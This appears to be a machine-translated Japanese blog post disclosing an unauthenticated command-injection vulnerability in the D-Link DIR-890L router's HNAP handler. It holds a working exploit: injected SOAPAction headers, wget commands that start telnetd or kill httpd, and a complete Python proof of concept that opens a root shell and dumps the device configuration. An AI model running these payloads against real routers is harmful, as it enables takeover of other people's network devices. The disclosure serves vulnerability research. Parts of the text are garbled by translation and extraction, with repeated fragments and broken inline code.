D-Link DIR-890Lをハックする

過去6か月間、私はひどく忙しく、D-Linkからの新しいがらくたに従わなかった。 楽しい時間を過ごすために、私は彼らのサイトに行きました。この悪夢が私を迎えました。



非常識なルーター

300ドルのクレイジーなD-Link DIR-890Lルーター



おそらくルーターで最も「クレイジー」 なのは 、D-Linkが数年間ルーターに入れていたバグ修正 ファームウェアの制御下で動作することです... そして、ヒットは続くばかりです。



OK、いつものようにやってみましょう- 最新のファームウェア を入手、binwalkを実行して、得られたものを確認してください:



DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compress
      
      





通常のLinuxファームウェアのように見えます。過去数年にわたってD-Linkファームウェアを見た場合、ディレクトリ構造を簡単に覚えることができます。



 $ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
      
      





HTTP、UPnP、およびHNAPに関連するすべてのものは、htdocsディレクトリにあります。 ここで最も興味深いファイルはhtdocs / cgibinです。これはARMのELFバイナリで、ほとんどすべてのためにWebサーバーによって実行されます。CGI、UPnP、およびHNAPリンクへのすべてのシンボリックリンクはこのファイルにつながります。



 $ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
      
      





もちろん、それは取り除かれていますが、私たちを助ける多くの行があります。 まず、 main



argv[0]



を既知のシンボリックリンク名のリスト( captcha.cgi



conntrack.cgi



など)とconntrack.cgi



、実行するアクションを決定します。



階段

呼び出しグラフ、典型的なif / elseカスケード



各比較は、既知のシンボリックリンク名でstrcmpを呼び出すことにより行われます。



画像

異なるシンボリックハンドラーの異なる機能



ハンドラー関数とシンボリックリンクの比較を簡素化するには、シンボリックリンクの名前に応じて名前を変更します。



画像

名前変更されたハンドラー関数



関数名がわかったので、バグを探し始めましょう。 まったく同じファームウェアを実行する他のD-Linkデバイスは、以前はHTTPおよびUPnPインターフェースを介してハッキングされていましたが、 hnap_main



関数によって処理されるHNAPインターフェースを実際に見た人はいないようです。



HNAP (ホームネットワーク管理プロトコル)は、UPnPに似たSOAPベースのプロトコルで、通常はD-Linkルーター「EZ」の初期構成のためにユーティリティで使用されます。 UPnPとは異なり、 GetDeviceInfo



(役に立たない)を除くすべてのHNAPアクションにはHTTP基本認証が必要です。



 POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <AddPortMapping xmlns="http://purenetworks.com/HNAP1/"> <PortMappingDescription>foobar</PortMappingDescription> <InternalClient>192.168.0.100</InternalClient> <PortMappingProtocol>TCP</PortMappingProtocol> <ExternalPort>1234</ExternalPort> <InternalPort>1234</InternalPort> </AddPortMapping> </soap:Body> </soap:Envelope>
      
      





SOAPAction



ヘッダーは、HNAPリクエストでは非常に重要です。 サーバーが実行するアクション(上記の例のAddPortMapping



アクション)を決定するのは彼です。



cgibin



WebサーバーによってCGIアプリケーションとして起動されるため、 hnap_main



は環境変数を介して、 SOAPAction



ヘッダーなどのHNAP要求データを受信します。



画像

SOAPAction = getenv(“ HTTP_SOAPACTION”);



hnap_main



の終わりに向かって、 sprintf



hnap_main



シェルコマンドが生成され、それがsystem



介して実行されsystem







画像

sprintf(コマンド、「sh%s%s.sh> / dev / console」、「/ var / run /」、SOAPAction);



明らかに、 hnap_main



system



内のSOAPAction



ヘッダーからのデータを使用します! 特にSOAPAction



ヘッダーがエスケープされておらず、認証なしでこの場所に到達できる場合、このバグは有望です。



hnap_main



の開始時に、 SOAPAction



ヘッダーが文字列と等しいかどうかを確認します purenetworks.com/HNAP1/GetDeviceSettings



purenetworks.com/HNAP1/GetDeviceSettings



、および等しい場合、認証はスキップされます。 これは予想されることであり、 GetDeviceSettings



は認証を必要としないことにすでに気付いています。



画像

if(strstr(SOAPAction、“ http://purenetworks.com/HNAP1/GetDeviceSettings”)!= NULL)



ただし、 strstr



関数は検証に使用され、文字列の存在のみをチェックすることに注意してください purenetworks.com/HNAP1/GetDeviceSettings



SOAPAction



ヘッダーの purenetworks.com/HNAP1/GetDeviceSettings



。同等ではありません。

したがって、 SOAPAction



ヘッダーにサブストリングが含まれている場合 purenetworks.com/HNAP1/GetDeviceSettings



purenetworks.com/HNAP1/GetDeviceSettings



、関数はヘッダーからアクションの名前(つまりGetDeviceSettings



)をGetDeviceSettings



、二重引用符を削除します。



画像

SOAPAction = strrchr(SOAPAction、 '/');



アクションの名前( GetDeviceSettings



)はヘッダーからGetDeviceSettings



れた後、 system



sprintf



を渡します。

ロジックのエラーを示すCコードは次のとおりです。



 /* Grab a pointer to the SOAPAction header */ SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if(SOAPAction[strlen(SOAPAction)-1] == '"') { SOAPAction[strlen(SOAPAction)-1] = '\0'; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction); system(command);
      
      





だから、これから何を学んだのか:



認証パスを満た​​し、 system



行を渡すことができるSOAPAction



ヘッダーを簡単に作成できます。

 SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
      
      





purenetworks.com/HNAP1/GetDeviceSettings



ヘッダーの purenetworks.com/HNAP1/GetDeviceSettings



を使用すると、認証をバイパスでき、文字列`reboot`



system



渡されsystem





 system("sh /var/run/`reboot`.sh > /dev/console");
      
      





reboot



telnetd



置き換えることによりtelnetd



認証なしでtelnetサーバーを起動します。

 $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
      
      





リモート管理が有効になっている場合、WANからHNAP要求を送信できます。 もちろん、ファイアウォールはWANからのすべての着信telnet接続をブロックします。 最も簡単な解決策は、HTTPサーバーを強制終了し、そのポートでtelnetdを実行することです。

 $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
      
      





次のように、wgetが答えを期待してハングすることに気付くでしょう。 cgibin



はtelnetdが完了するのを待ちます。 少し便利なPython PoCを次に示します。

 #!/usr/bin/env python import sys import urllib2 import httplib try: ip_port = sys.argv[1].split(':') ip = ip_port[0] if len(ip_port) == 2: port = ip_port[1] elif len(ip_port) == 1: port = "80" else: raise IndexError except IndexError: print "Usage: %s <target ip:port>" % sys.argv[0] sys.exit(1) url = "http://%s:%s/HNAP1" % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on # any port; killing the http server and re-using its port # is not necessary. # # Killing off all hung hnap processes ensures that we can # re-start httpd later. command = "killall httpd; killall hnap; telnetd -p %s" % port headers = { "SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command, } req = urllib2.Request(url, None, headers) try: urllib2.urlopen(req) raise Exception("Unexpected response") except httplib.BadStatusLine: print "Exploit sent, try telnetting to %s:%s!" % (ip, port) print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'" sys.exit(0) except Exception: print "Received an unexpected response from the server; exploit probably failed. :("
      
      





ファームウェアv1.00とv1.03(執筆時点では後者)でこのバグを確認しましたが、どちらも脆弱です。 しかし、組み込みのほとんどの脆弱性で通常そうであるように、このコードは他のデバイスのファームウェアにも入り込みました。



すべてのファームウェアの分析はかなり面倒なので、バグに関する情報をCentrifugeチームに渡しました。Centrifugeチームは、こうしたことを自動的に分析するためのユーティリティに違いがあります。 Centrifugeは、次のモデルでこの脆弱性を発見しました。



私の知る限り、これらのデバイスでHNAPを無効にすることはできません。



更新:年の初めにSamuel Huntlyが同じバグを見つけたようですが、DIR-645でのみ修正されました。 パッチは十分に悪いので、次の投稿で解析されるのを待ちます。



All Articles